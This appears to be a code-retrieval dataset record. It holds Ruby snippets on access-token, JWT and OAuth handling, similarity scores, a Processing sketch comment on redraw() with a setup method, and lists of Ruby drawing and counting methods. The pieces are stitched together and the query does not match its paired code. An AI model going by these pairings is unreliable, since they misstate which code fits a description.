"def access_token\n end",
"def build_access_token\n options.token_params.merge!(\n headers: { 'Authorization' => basic_auth_header },\n )\n super\n end",
"def call\n validate_params params\n token = JWT.encode(payload.to_hash, secret, algorithm)\n access_token = Entity::AccessToken.new(token: token)\n refresh_token = Entity::RefreshToken.new(token: refresh_token)\n \n #yield tokens_repo.transaction do\n # tokens_repo.save access_token\n # tokens_repo.save refresh_toke\n #end\n \n yield tokens_repo.single_transaction access_token\n yield tokens_repo.single_transaction refresh_token\n \n\n #result = tokens_repo.transaction do\n # tokens_repo.save access_token\n # tokens_repo.save refresh_token\n #end\n #return result unless result.success?\n\n #tokens_repo.save Entity::AccessToken.new(\n # token: token\n #)\n #tokens_repo.save Entity::RefreshToken.new(\n # token: refresh_token\n #)\n return access_token, refresh_token\n end",
"def generate_token\n self.token = Digest::SHA1.hexdigest([self.workplace_id, self.institute.id, Time.now, rand].join)\n end",
"def get_access_token\n client = Google::APIClient.new(\n :application_name => \"BBXiaoWo\",\n :application_version => \"1.0\"\n )\n prediction = client.discovered_api('prediction', 'v1.5')\n \n key = Google::APIClient::KeyUtils.load_from_pkcs12(P12_PATH, 'notasecret')\n \n client.authorization = Signet::OAuth2::Client.new(\n :token_credential_uri => 'https://accounts.google.com/o/oauth2/token',\n :audience => 'https://accounts.google.com/o/oauth2/token',\n :scope => 'https://www.googleapis.com/auth/drive https://www.googleapis.com/auth/userinfo.profile',\n :issuer => '128823476752-40rmv6upgfe37q2u64eftmoe493uffin@developer.gserviceaccount.com',\n :signing_key => key,\n )\n client.authorization.fetch_access_token!\n client.authorization.access_token\n end",
"def initialize(access_token)\n @access_token = access_token\n end",
"def initialize(access_token)\n @access_token = access_token\n end",
"def initialize(access_token)\n @access_token = access_token\n end",
"def generate_access_token\n self.access_token = SecureRandom.hex(64)\n end",
"def create_token(user_id)\n payload = { user_id: user_id }\n # Creates a token. Encoding something just creates a token\n JWT.encode(payload, secret, 'HS256')\n end",
"def apply_omniauth(omniauth)\n authentications.build(provider: omniauth['provider'],\n uid: omniauth['uid'],\n token: omniauth['credentials']['token'],\n secret: omniauth['credentials']['secret'])\n end",
"def create_token_for(client, scope, identity = nil, expires = nil)\n expires_at = Time.now.to_i + expires if expires && expires != 0\n token = { :_id=>Server.secure_random, :scope=>scope,\n :client_id=>client.id, :created_at=>Time.now.to_i,\n :expires_at=>expires_at, :revoked=>nil }\n token[:identity] = identity if identity\n collection.insert token\n Client.collection.update({ :_id=>client.id }, { :$inc=>{ :tokens_granted=>1 } })\n Server.new_instance self, token\n end",
"def create\n payload = {\n user: {\n name: Faker::Name.name,\n email: Faker::Internet.email\n }\n }\n\n jwt = Auth.issue(payload)\n\n render json: { jwt: jwt }\n end",
"def create\n super\n \n if @access_token.client.uses_account_sid\n # Never expire this token. It will be expired when the user explicitly\n # ends their session (by logging out), and possibly after a configurable\n # amount of time, if the provider is using expiration scheduling\n # (see the sessions:expire rake task).\n @access_token.expires_at = Time.mktime(2100, 12, 31)\n end\n \n authorization_code = Oauth2Providable::AuthorizationCode.find_by_token(params[:code])\n @access_token.account_sid = authorization_code.account_sid\n @access_token.client_sid = params[:client_sid]\n @access_token.save\n end",
"def generate_token(_user)\n JsonWebToken.encode(login_payload, 3.days.from_now)\n end",
"def token_generator(params)\n Auth::JsonWebToken.encode(params)\n end",
"def create_token_for(app_name)\n timestamp = Time.now.utc.strftime(\"%Y%m%d%H%M%S\")\n display = \"#{app_name}_#{timestamp}\"\n Vault.auth_token.create(name: app_name,\n ttl: '720h',\n display_name: display,\n policies: [app_name])\n end",
"def create_user_token(params)\n key = Time.now.strftime(\"%Y-%m-%d %H:%M:%S:\") + '%012d' % rand(10_000_000_000)\n { :user_token => { :username => params[:username],\n :key => key,\n :hash => Digest::SHA1.hexdigest(params[:password] + key) } }\n end",
"def create_from_oauth\n if stored_anonymous_user?\n user, from_registration = update_from_omniauth(env[\"omniauth.auth\"], params[:provider])\n else\n user, from_registration = create_from_omniauth(env[\"omniauth.auth\"], params[:provider])\n end\n\n if user.errors.any?\n redirect_to_registration_page(user)\n else\n change_global_user_id(user.id)\n sign_in(user)\n fandom_play_login(user)\n \n if from_registration\n log_data = { 'form_data' => env[\"omniauth.auth\"], 'user_id' => current_user.id }\n log_synced(\"registration from oauth\", adjust_user_and_log_data_with_utm(user, log_data))\n\n set_account_up()\n cookies[:from_registration] = true \n end\n\n if $site.force_facebook_tab && !request_is_from_mobile_device?(request)\n redirect_to request.site.force_facebook_tab\n else\n redirect_after_oauth_successful_login()\n end\n end\n end",
"def generate_access_token\n begin\n self.token = SecureRandom.hex\n end while self.class.exists?(token: token)\n end",
"def generate_access_token\n begin\n self.token = SecureRandom.hex\n end while self.class.exists?(token: token)\n end",
"def tokens_for_babysitter\n tokens_for_request(self.request)\n end",
"def create\n token_response = ResourceAccessTokens::CreateService.new(current_user, resource, create_params).execute\n\n if token_response.success?\n @resource_access_token = token_response.payload[:access_token]\n PersonalAccessToken.redis_store!(key_identity, @resource_access_token.token)\n\n redirect_to resource_access_tokens_path, notice: _(\"Your new access token has been created.\")\n else\n redirect_to resource_access_tokens_path, alert: _(\"Failed to create new access token: %{token_response_message}\") % { token_response_message: token_response.message }\n end\n end",
"def create\n oauth_verifier = params[:oauth_verifier]\n\n if oauth_verifier\n request_token = session[:tumblr_request_token]\n access_token = request_token.get_access_token(\n :oauth_verifier => oauth_verifier) \n\n self.current_user.tumblr_access_token = access_token.token\n self.current_user.tumblr_access_token_secret = access_token.secret\n\n self.current_user.save!\n end\n\n rescue => ex\n handle_exception(ex)\n end",
"def generate_auth_token\n token = AuthToken.new(user: self)\n token if token.save\n end",
"def token_generator(user_id, user_ip)\n return unless user_id\n\n user = User.find(user_id)\n\n access_token = user.tokens.create(token: token_creator, request_ip: user_ip)\n JsonWebToken.encode(\n token: access_token.token,\n request_ip: access_token.request_ip\n )\n end",
"def generate_access_token\n self.access_token = Digest::SHA1.hexdigest(\"#{random_salt}#{Time.now.to_i}\")\n end",
"def generate_access_token\n self.access_token = Digest::SHA1.hexdigest(\"#{random_salt}#{Time.now.to_i}\")\n end",
"def create\n @user = User.create_or_find_by(user_params)\n my_token = issue_token(@user)\n\n render json: {user: @user, token: my_token}\n # render json: @user\n \n end",
"def create_request_token(params={})\n\t\tRequestToken.create :client_application => self, :callback_url=>self.token_callback_url\n\tend",
"def initialize(access_token, expiry, refresh_token, expires_in=nil, refresh_expiry=nil)\n @access_token = access_token\n @refresh_token = refresh_token\n @expiry = expiry.to_i if expiry\n @expires_in = expires_in\n @refresh_expiry = refresh_expiry.to_i\n end",
"def authenticate\n # if valid_access_token?\n # fetch_access_token\n # else\n get_new_access_token\n # end\n end",
"def store_access_token(data)\n @access_token = data['access_token']\n @expires_at = Time.now + data['expires_in']\n end",
"def create_with_facebook\n auth_hash = request.env['omniauth.auth']\n authorization = Authorization.find_by_provider_and_uid(auth_hash['provider'], auth_hash['uid'])\n name = auth_hash['info']['name'].split\n email = auth_hash['info']['email']\n first, last = name[0], name[1..-1].join(' ')\n user = User.find_by_first_name_and_last_name_and_email(first, last, email)\n\n # when both a user and an authorization have been found\n if authorization && user\n user.oauth_token = auth_hash['credentials']['token']\n user.save\n authorization.update_attribute 'user', user\n sessionize authorization.user\n\n # if only a user exists, build an authorization\n elsif user\n user.authorizations.build :provider => auth_hash['provider'], :uid => auth_hash['uid']\n sessionize user\n\n # No user or authorization; build them\n else\n user = User.new(:first_name => first, :last_name => last, :email => email)\n user.authorizations.build :provider => auth_hash['provider'], :uid => auth_hash['uid']\n user.save\n sessionize user\n end\n\n redirect_to root_path\n end",
"def generate_token\n self.token = secure_digest(Time.now, candidate_id)\n end"
] | [
"0.62985295",
"0.6046622",
"0.60394263",
"0.60279596",
"0.59811884",
"0.5951267",
"0.5911963",
"0.58370155",
"0.58201367",
"0.57845044",
"0.576786",
"0.57342196",
"0.56925106",
"0.5683174",
"0.5676897",
"0.5646178",
"0.56432146",
"0.56332815",
"0.56057465",
"0.5588948",
"0.5574443",
"0.5566954",
"0.5562634",
"0.555388",
"0.55529684",
"0.5520977",
"0.5516934",
"0.5516934",
"0.5515987",
"0.5515987",
"0.55154717",
"0.5483838",
"0.5483705",
"0.5483447",
"0.5480721",
"0.54772264",
"0.5462621",
"0.5460469",
"0.544375",
"0.544375",
"0.544375",
"0.544375",
"0.54387",
"0.5437525",
"0.5437525",
"0.5437525",
"0.5428712",
"0.5414715",
"0.5399045",
"0.5389675",
"0.536885",
"0.53682727",
"0.5360074",
"0.5359625",
"0.5359406",
"0.5359406",
"0.5359406",
"0.5355199",
"0.5349172",
"0.5340524",
"0.5339142",
"0.5338589",
"0.53236705",
"0.5319234",
"0.53138226",
"0.5309392",
"0.5309028",
"0.5308785",
"0.53063375",
"0.53033805",
"0.53033805",
"0.53033805",
"0.5299968",
"0.5295018",
"0.52929443",
"0.5285861",
"0.5282671",
"0.52748966",
"0.5273191",
"0.52587056",
"0.52412564",
"0.52407146",
"0.52307105",
"0.5230674",
"0.5230674",
"0.52302516",
"0.5226085",
"0.5223977",
"0.52177715",
"0.5216284",
"0.52143395",
"0.52143395",
"0.5211406",
"0.5207831",
"0.5206447",
"0.52042073",
"0.520243",
"0.51921237",
"0.5178338"
] | 0.59690934 | 6 |
The redraw() function makes draw() execute once. In this example, draw() is executed once every time the mouse is clicked. | def setup
size 200, 200
@y = 100
stroke 255
no_loop
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def do_draw( event )\n dirty_rects = draw( event.screen )\n event.screen.update_rects(dirty_rects)\n end",
"def draw\n end",
"def draw\n end",
"def draw\n end",
"def draw\n end",
"def reload\n draws = @draws.dup\n clear\n draws.each { |block| draw(&block) }\n end",
"def draw\n @num_drawn += 1\n @rep.pop\n end",
"def draw\n\tend",
"def draw(&block)\n auto_update(false)\n block.call\n auto_update(true)\n end",
"def draw\n\t\t\n\tend",
"def draw\n\t\t\n\tend",
"def draw\n\t\t\n\tend",
"def draw\n\t\t\n\tend",
"def draw; end",
"def draw; end",
"def draw\n\t\tend",
"def draw\n intro if @intro_flag\n draw_ruby\n draw_emerald\n @dude.draw(mouse_x - 75, mouse_y - 75, 1)\n hitter\n draw_header\n game_over unless @playing || @intro_flag\n end",
"def draw\n\n\t\tend",
"def redraw(*items)\n addToQueue(items)\n plot\n end",
"def draw\n draw_background\n draw_ambient\n draw_objects\n draw_ui\n end",
"def draw\n call Screen.setColor(true)\n call Screen.drawRectangle(@x, @y, @x + @size, @y + @size)\n end",
"def draw\n unless @track_result.nil?\n draw_play()\n end \n draw_btns()\n draw_stuff()\n draw_background()\n draw_albums(@albums)\n display_tracks()\n @info_font.draw(\"mouse_x: #{mouse_x}\", 200, 50, ZOrder::UI, 1.0, 1.0, Gosu::Color::WHITE)\n @info_font.draw(\"mouse_y: #{mouse_y}\", 350, 50, ZOrder::UI, 1.0, 1.0, Gosu::Color::WHITE)\n end",
"def draw(&proc)\n instance_eval(&proc)\n end",
"def draw(&proc)\n end",
"def draw(&proc)\n end",
"def draw(&proc)\n end",
"def draw(screen)\n @clock.tick\n # Do we need to redraw the screen?\n do_redraw = Plugin.loader.background.changed?\n screen.drawlist.each { |widget| \n if widget.changed?\n do_redraw = true\n break\n end\n } if not do_redraw\n # Ok, redraw it\n if do_redraw\n glClear(GL_COLOR_BUFFER_BIT)\n screen.drawlist.each { |widget| \n widget.draw\n }\n self.redraw\n end\n end",
"def draw\n\t\t\t\t\n\t\t\tend",
"def draw\n\t\t\t\tcurrent_scene and current_scene.draw\n end",
"def redraw\n @terminal.erase_screen\n render\n end",
"def draw\n @graphics.draw\n @script.draw\n end",
"def draw\n\t\[email protected]\n\tend",
"def draw()\n draw_controls()\n end",
"def draw\n raise \"Not implemented\"\n end",
"def draw\r\n yield @screen\r\n\r\n # Show the changes to the screen surface by flipping the buffer that is visible\r\n # to the user. All changes made to the screen surface will appear\r\n # simultaneously\r\n @screen.flip\r\n end",
"def draw\n @player.draw\n if @twoplayer\n @player2.draw\n else\n @bot.draw\n end\n @ball.draw\n @wall.draw\n @score.draw\n @help.draw\n end",
"def draw(&proc)\n instance_eval(&proc)\n end",
"def draw(&proc)\n instance_eval(&proc)\n end",
"def draw(&proc)\n instance_eval(&proc)\n end",
"def draw\n\t\t# Complete the missing code\n\t\tdraw_background()\n\tend",
"def needs_redraw?; end",
"def draw\n @game.state.views.each do |view|\n view.draw\n end\n end",
"def draw\r\n draw_background\r\n draw_h(@balls)\r\n end",
"def draw\n\t\t@move_action.draw\n\tend",
"def draw(&proc)\n self.instance_eval(&proc)\n end",
"def draw(&proc)\n self.instance_eval(&proc)\n end",
"def draw\n if @show_game != true\n @menu.draw\n @cursor.draw self.mouse_x, self.mouse_y, 0\n else\n if wins\n @font.draw(\"Game over\", WIDTH/4+ 120/2, HEIGHT/2 - 120/2, 0, 2, 5,Gosu::Color::RED)\n @font.draw(\"Player #{wins} wins\", WIDTH/4 +100, HEIGHT/2 +20, 0,1,2)\n \n else\n @font.draw(\"Player 1: #{@player_1.score}\", 10, 10, 2,1,1, Gosu::Color::RED) #,1,1, Gosu::Color::WHITE)\n @font.draw(\"Player 2: #{@player_2.score}\", 10,25,2, 1, 1, Gosu::Color::GREEN) #,1,1, Gosu::Color::WHITE)\n @ball.draw\n @player_1.draw\n @player_2.draw\n end\n end\n end",
"def draw\n\t\tsub_face_left = face_left?\n\n\t\tdraw_sub(sub_face_left)\n\t\t@has_moved = false\n\t\[email protected]\n\tend",
"def draw\n process_result 0.5\n end",
"def draw(screen)\n @clock.tick\n # Do we need to redraw the screen?\n do_redraw = Plugin.loader.background.changed?\n screen.drawlist.each { |widget| \n if widget.changed?\n do_redraw = true\n break\n end\n } if not do_redraw\n # Ok, redraw it\n if do_redraw\n screen.drawlist.each { |widget| widget.draw }\n @screen.flip\n end\n end",
"def redraw\n # puts \"RenderTarget#redraw: #{@name} #{@width} #{@height} #{@sprites.length} sprites, #{@labels.length} labels\"\n # $services&.named(:tracer)&..mark(\"#redraw: #{@name} Begin\")\n targ = $gtk.args.outputs[@name]\n targ.width = @width\n targ.height = @height\n\n # It's important to set the background color intentionally. Even if alpha == 0, semi-transparent images in\n # render targets will pick up this color as an additive. Usually you want black.\n targ.background_color = @bg_color\n targ.primitives << @primitives if @primitives&.any?\n targ.sprites << @sprites if @sprites&.any?\n targ.labels << @labels if @labels&.any?\n # $services&.named(:tracer)&..mark(\"#redraw: #{@name} Complete\")\n end",
"def show\n call Screen.setColor(true)\n call draw\n end",
"def draw\n framerate_counter.update\n\n draw_background_on self\n poops.each {|poop| poop.draw_on self }\n draw_targets_on self\n boid.draw_on self\n draw_ui_on self\n end",
"def draw(&proc)\n self.instance_eval(&proc)\n end",
"def draw(&proc)\n self.instance_eval(&proc)\n end",
"def draw(&proc)\n self.instance_eval(&proc)\n end",
"def draw\r\n $scene.draw\r\n end",
"def draw? \n end",
"def draw(animate = false, fps = 2)\n build_steps unless @built\n @steps.each do |step|\n draw_square(*step)\n if animate\n print \"\\033c\" # clear the screen\n puts self\n sleep(1.0 / fps)\n end\n end\n\n puts self unless animate\n end",
"def draw\n # Draw background color\n Gosu.draw_rect(0, 0, WIN_WIDTH, WIN_HEIGHT, @background, ZOrder::BACKGROUND, mode=:default)\n # Draw the button\n Gosu.draw_rect(50, 50, 100, 50, Gosu::Color::GREEN, ZOrder::MIDDLE, mode=:default)\n # Draw the button text\n @button_font.draw(\"Click me\", 65, 65, ZOrder::TOP, 1.0, 1.0, Gosu::Color::BLACK)\n # Draw the mouse position information\n @info_font.draw(\"mouse_x: #{@locs[0]}\", 0, 350, ZOrder::TOP, 1.0, 1.0, Gosu::Color::BLACK)\n end",
"def draw_effect\n end",
"def draw_selected(x_position, y_position)\n $app.stroke($app.rgb(255,0,0))\n draw(x_position, y_position)\n $app.stroke($app.rgb(0,0,0))\n end",
"def draw(*items)\n clearQueue()\n addToQueue(items)\n plot\n end",
"def draw(view, x, y)\r\n view.line_width = 1\r\n view.line_stipple = STIPPLE_SOLID\r\n tr = Geom::Transformation.new([x, y, 0])\r\n @cache.each { |color, points|\r\n view.drawing_color = color\r\n view.draw2d(GL_LINES, points.map { |point| point.transform(tr) } )\r\n }\r\n nil\r\n end",
"def draw(root)\n end",
"def show_draw\n puts 'No more avalaible spaces, consider it a draw'\n puts 'The game will be re-started'\n puts 'loading................'\n puts 'Press any key to continue'\nend",
"def redraw\n @application.redraw\n end",
"def draw\r\n @game_objects.draw\r\n end",
"def draw \n\t\[email protected](@x, @y, 1)\n\tend",
"def draw\n @surflist.each {|surf| surf.draw}\n end",
"def draw\n @grid.draw\n show_info\n end",
"def draw\n\t\[email protected](@x, @y, 1)\n\tend",
"def draw\n\t\t\t\tprotect_runtime_errors do\n\t\t\t\t\t# render the selected state\n\t\t\t\t\t# (it has been rendered before, so it should render now without errors)\n\t\t\t\t\tunless @history_cache.nil?\n\t\t\t\t\t\t# render the states\n\t\t\t\t\t\t# puts \"history: #{@history_cache.size} - #{@history_cache.collect{|x| !x.nil?}.inspect}\"\n\t\t\t\t\t\t\n\t\t\t\t\t\t# TODO: render to FBO once and then render that same state to the screen over and over again as long as @time_travel_i is unchanged\n\t\t\t\t\t\t# currently, framerate is down to ~30fps, because this render operation is expensive.\n\t\t\t\t\t\t\n\t\t\t\t\t\t# State 0 is not renderable, because that is before the first update runs. Without the first update, the first draw will fail. Just skip state 0. Later, when we attempt to compress history by diffs, state 0 may come in handy.\n\t\t\t\t\t\trender_onion_skin(\n\t\t\t\t\t\t\t@history_cache[1..(@time_travel_i-1)], ONION_SKIN_STANDARD_COLOR,\n\t\t\t\t\t\t\t@history_cache[@time_travel_i], ONION_SKIN_NOW_COLOR,\n\t\t\t\t\t\t\t@history_cache[@forecast_range], ONION_SKIN_ERROR_COLOR\n\t\t\t\t\t\t)\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t# @history_cache[@time_travel_i].draw @window\n\t\t\t\t\t\t\n\t\t\t\t\t\t# ^ currently the saved state is rendering some UI which shows what the current TurnCounter values are. This is going to have weird interactions with onion skinning. Should consider separating UI drawing from main entity drawing.\n\t\t\t\t\t\t# (or maybe onion-skinning the UI will be cool? idk)\\\t\t\t\t\t\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\[email protected] @window, @wrapped_object, @history_cache, @turn\n\t\t\t\tend\n\t\t\tend",
"def draw\n @image.draw(@x, @y, 1)\n end",
"def draw(view)\r\n @drawn = false\r\n \r\n # Show the current input point\r\n if( @ip.valid? && @ip.display? )\r\n @ip.draw(view)\r\n @drawn = true\r\n end\r\n\r\n case @state\r\n when STATE_PICK\r\n # do nothing\r\n when STATE_PICK_NEXT\r\n # just draw a line from the start to the end point\r\n view.set_color_from_line(@ip1, @ip)\r\n inference_locked = view.inference_locked?\r\n view.line_width = 3 if inference_locked\r\n view.draw(GL_LINE_STRIP, @pts[0], @pts[1])\r\n view.line_width = 1 if inference_locked\r\n @drawn = true\r\n else\r\n # draw a rectangle\r\n view.drawing_color = \"black\"\r\n view.draw(GL_LINE_STRIP, @pts)\r\n @drawn = true\r\n end\r\nend",
"def draw(&block)\n instance_eval(&block)\n end",
"def draw\n @osd.draw\n end",
"def draw()\n @ucStat.draw()\n @ucCompareStat.draw()\n end",
"def set_draw\n @draw = Draw.find(params[:id])\n end",
"def draw\n\t\tframe_rate 10\n\t\tbackground 0\n\t\tstroke 255\n\t\tstroke_weight 2\n\t\tdx = width/2 - mouse_x\n\t\tdy = height/2 - mouse_y\n\t\tline(width/2, height/2, mouse_x, mouse_y)\n\t\t\n\t\tangle = atan2(dy, dx)\n\t\t#puts \"angle in radians\" + angle.to_s\n\t\tdeg = degrees(angle)\n\t\tputs \"degrees(angle) \" + deg.to_s\n\t\t\n\t\tmapped = north(deg)\n\t\tputs \"mapped = \" + mapped.to_s\n\tend",
"def draw\n o = 0\n # repeats the proces n times so as to print every row in the array\n @board.size.times do\n print @board[o, 1]\n puts\n o += 1\n end\n puts \"\\nPress 'q' to exit or the WASD keys to move\"\n end",
"def draw(&block)\n block.call(self)\n end",
"def draw(&proc)\n self.instance_eval(&proc)\n # self.instance_eval { proc.call }\n end",
"def redraw\n # this kinda stuff should be inside widget or some util class\n c = @component\n if c.is_double_buffered?\n c.set_buffer_modified\n c.buffer_to_window\n else\n # force a repaint, if not buffered object e.g scrollpane.\n $log.debug \" TP: forcing repaint of non-buffered object #{c} \"\n c.repaint_all\n c.repaint\n end\n end",
"def draw\n get_blocks.each { |block| block.draw }\n end",
"def draw\n\n if @init\n @background.draw(0, 0, -1, 2.5, 2.5)\n end\n\n if not @playing\n @font.draw(\"Game Over\", 300, 300, 3)\n @font.draw(\"Press the Space Bar to Play Again\", 175, 350, 3)\n @visible = 20\n end\n\n @hammer_image.draw(mouse_x-40, mouse_y-10, 2)\n\n if @visible > 0\n @image.draw(@x-@width/2, @y-@height/2, 1)\n end\n\n if @hit == 0\n c = Gosu::Color::NONE\n elsif @hit == 1\n c = Gosu::Color::GREEN\n elsif @hit == -1\n c = Gosu::Color::RED\n end\n @hit = 0\n\n draw_quad(0, 0, c, 800, 0, c, 800, 600, c, 0, 600, c)\n\n @font.draw(@score.to_s, 700, 20, 2)\n @font.draw(@time_left, 20, 20, 2)\n\n end",
"def draw\n @screen.insert(@frame, 0, 0)\n @screen.draw(0, 0, 0)\n end",
"def draw\n @help.draw(20, 10, 100)\n @return.draw\n end",
"def draw(&block)\n instance_exec &block\n end",
"def draw\n @buttonLogin.draw\n @buttonClassicAI.draw\n @buttonOttoAI.draw\n @buttonHelp.draw\n\n @buttonHelpLogin.draw\n @buttonHelpClassicAI.draw\n @buttonHelpOttoAI.draw\n end",
"def draw\n puts\n output_to_diplay('', \" | | \", '')\n output_to_diplay('', \" #{squares[1]} | #{squares[2]} | #{squares[3]} \", '')\n output_to_diplay('', \" | | \", '')\n output_to_diplay('', \"-----+-----+-----\", '')\n output_to_diplay('', \" | | \", '')\n output_to_diplay('', \" #{squares[4]} | #{squares[5]} | #{squares[6]} \", '')\n output_to_diplay('', \" | | \", '')\n output_to_diplay('', \"-----+-----+-----\", '')\n output_to_diplay('', \" | | \", '')\n output_to_diplay('', \" #{squares[7]} | #{squares[8]} | #{squares[9]} \", '')\n output_to_diplay('', \" | | \", '')\n puts\n end",
"def draw\n if @winner == Const::GAME_ON\n @game.draw\n @o_board.draw\n elsif @winner == Const::GAME_LOST\n @font.draw(Const::GAME_LOST_CAPTION,\n @window.width / 2 - 170, @window.height / 2 - 30, 0)\n else\n @font.draw(Const::GAME_WON_CAPTION,\n @window.width / 2 - 170, @window.height / 2 - 30, 0)\n end\n end",
"def needs_redraw?\n true \n end",
"def draw\n @help.draw(30, 120, 100)\n @cancel.draw\n end",
"def mark_drawn!\n # update point tables\n game.point_tables.create(started_at: game.started_at, ended_at: Time.zone.now, result: 'Draw')\n\n # reset board!\n reset_board!\n\n game.update_status(Game::DRAWN)\n end",
"def draw\n @map.draw\n end",
"def draw(update=false)\n\t\tif update or not @animate\n\t\t\tprint \"\\e[H\"\n\t\t\tif not @animate; print \"\\e[2J\"; end\n\t\t\tsuper()\n\t\telse\n\t\t\tprint \"\\e[2J\"\n\t\t\tcarve_passages\n\t\tend\n\tend",
"def draw()\n\t\tif @grabbed != nil\n\t\t\t#draw a translucent piece under the mouse\n\t\t\tmouse_pos = mouse_over_position()\n\t\t\tfade_color = Gosu::Color.argb(192, 255, 255, 255) #75% opacity\n\t\t\tfade_color = Gosu::Color.argb(128, 255, 255, 255) unless valid_move?(@grabbed, mouse_pos)\n\t\t\[email protected]_piece_icon(@grabbed).draw(@board.left_edge+mouse_pos.x*48, @board.top_edge+mouse_pos.y*48-4, 3, 1, 1, fade_color)\n\t\tend\n\tend",
"def draw( &blk )\n register\n instance_eval &blk if blk\n self\n end",
"def draw(dc, theme, width, height)\r\n meth_handl = @graphic_handler[@state_gfx]\r\n send(meth_handl, dc, width, height) if meth_handl\r\n end",
"def draw\n\t\t# Complete the missing code\n\t\tdraw_background\n\t\tdraw_albums\n if @play > -1\n @font.draw(\"Now playing...\\n#{@albums[@selection].tracks[@play].name}\", 650, 550, ZOrder::UI, 1.0, 1.0, Gosu::Color::BLACK)\n end\n\n\tend"
] | [
"0.7007123",
"0.6685596",
"0.6685596",
"0.6685596",
"0.6623632",
"0.6572368",
"0.6517742",
"0.65167433",
"0.64859945",
"0.6477629",
"0.6477629",
"0.6477629",
"0.6477629",
"0.6462083",
"0.6462083",
"0.63677293",
"0.6347879",
"0.63139594",
"0.6202709",
"0.61418515",
"0.6117978",
"0.608529",
"0.60587",
"0.6054919",
"0.6054919",
"0.6054919",
"0.6050999",
"0.6037241",
"0.6022398",
"0.6020554",
"0.60023546",
"0.5996302",
"0.59930855",
"0.5985806",
"0.5973692",
"0.5967226",
"0.59627473",
"0.59627473",
"0.59627473",
"0.59559375",
"0.5929834",
"0.5884469",
"0.587665",
"0.5865921",
"0.5855835",
"0.5855835",
"0.58393264",
"0.58324933",
"0.583035",
"0.5799232",
"0.57937336",
"0.5789647",
"0.57694215",
"0.57663083",
"0.57663083",
"0.57663083",
"0.5725916",
"0.57218",
"0.5708145",
"0.5706205",
"0.5697722",
"0.5695339",
"0.568915",
"0.56862694",
"0.56752646",
"0.56745714",
"0.5657511",
"0.56511736",
"0.56502813",
"0.56447375",
"0.56424224",
"0.5639515",
"0.5637955",
"0.56203175",
"0.561056",
"0.5603172",
"0.5594857",
"0.5578944",
"0.5570998",
"0.55626035",
"0.55529386",
"0.55526567",
"0.55513746",
"0.5549681",
"0.5548963",
"0.5541304",
"0.5531576",
"0.5530533",
"0.5525781",
"0.5524152",
"0.5521625",
"0.5512951",
"0.5500383",
"0.54976976",
"0.54886574",
"0.548533",
"0.5482114",
"0.5480367",
"0.54759735",
"0.5465459",
"0.5463342"
] | 0.0 | -1 |
The number of alarms. Returns an Integer. | def count
@alarms.objects.find { |o| o.name == "count" }.val
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def count\n @monkeys.count\n end",
"def aps_notification_count_for_application(application_name)\n redis.llen(aps_application_queue_key(application_name)).to_i\n end",
"def num_missed_calls\n missed_contacts.count\n end",
"def get_at_words_count\n @redis.llen(\"store:ats\").to_i\n end",
"def notification_count\n @notifications.size\n end",
"def unread_notification_count\n unread_notifications.count\n end",
"def count\n self.at('/RETS/COUNT')['Records'].to_i\n end",
"def returned_count\n if acknowledged?\n reply.number_returned\n else\n 0\n end\n end",
"def get_size\n @monitors.length\n end",
"def aps_applications_count\n redis.smembers(:aps_applications).size\n end",
"def number_of_events_in_my_calendars\n self.events.length\n end",
"def get_ata_words_count\n @redis.llen(\"store:atas\").to_i\n end",
"def remediated_device_count\n return @remediated_device_count\n end",
"def num_allies\n @allies.size\n end",
"def at_job_count\n\n @non_cron_jobs.values.select { |j| j.class == AtJob }.size\n end",
"def count\n @count\n end",
"def number_of_meals\n meals.count\n end",
"def size\n each_advisory_path.count\n end",
"def num_of_tickets()\n result = films()\n @number_of_tickets = result.count\n end",
"def num_answered_calls\n answered_contacts.count\n end",
"def count_measures\n measures = 0\n \n self.measure_ids.each do |measure|\n measures += 1 if !measure.empty?\n end\n \n return measures\n end",
"def cron_job_count\n\n @cron_jobs.size\n end",
"def num_lights\n\t\t\[email protected]\n\t\tend",
"def count\n run.count\n end",
"def app_hang_count\n return @app_hang_count\n end",
"def getDayOffCount\n\t\tdayCount = 0\n\t\tunless Setting.plugin_redmine_wktime['wk_schedule_weekend'].blank?\n\t\t\tdayCount = Setting.plugin_redmine_wktime['wk_schedule_weekend'].length\n\t\tend\n\t\tdayCount\n\tend",
"def number_of_manifestations_launched(login=nil)\n count_by_frbr(login, :launches, :how_many_manifestations?) \n end",
"def recording_count(bbb_id)\n bbb_server.get_recordings(meetingID: bbb_id)[:recordings].length\n end",
"def count\n @count\n end",
"def count\n @count\n end",
"def count\n @count\n end",
"def notification_count\n return NotificationReader.where(user: current_user, read_at: nil).count\n end",
"def count\n to_a.size\n end",
"def count\n to_a.size\n end",
"def average_missed_call_duration\n average_duration(missed_contacts, 'arrived', 'call_ended')\n end",
"def num_of_measures\n (self.chords.count / self.beats_per_measure.to_f).ceil\n end",
"def scheduled_messages_count\n with_queue_control do |control|\n control.scheduled_count\n end\n end",
"def number_of_tickets_bought() # working in terminal - console (eg.: customer1.number_of_tickets_bought)\n return films.count\n end",
"def total_count\n total_entries\n end",
"def actual_received_count\n actual_messages.size\n end",
"def total_activity_count\n return self.timeline_events.find(:all, :conditions => {:event_type => \"document_item_changed\"}).length + \n self.questions.count +\n self.questions.answered.count\n end",
"def count\n key[:schedule].zcard\n end",
"def encounter_balloon_frame_count\n TH::Encounter_Alert::Balloon_Frames\n end",
"def entry_addenda_count\n entries.size + addendas.values.flatten.size\n end",
"def num_attendees\n # store a integer that represents the number\n # whenever an attendee is created ->\n # Event.all ( search for the event, incremement number of attendees)\n number_of_attendees = Location.all.select do |location|\n location.event == self\n end.length\n end",
"def total_count\n @all.size\n end",
"def count\n all.count\n end",
"def unread_inbox_count\n mailbox.inbox(unread: true).count\n end",
"def unread_inbox_count\n mailbox.inbox(unread: true).count\n end",
"def unread_inbox_count\n mailbox.inbox(unread: true).count\n end",
"def total_seats\n\t\tseats + waitlist_seats\n\tend",
"def number_of_resources_launched(login=nil)\n count_by_frbr(login, :launches, :how_many_resources?) \n end",
"def count_messages\r\n @messages.size\r\n end",
"def amountOfSubscribedEvents\r\n @subscribedEvents.length\r\n end",
"def count\n all.size\n end",
"def number_of_success\n\t\treturn number_of_attempts_with_status(success: true)\n\tend",
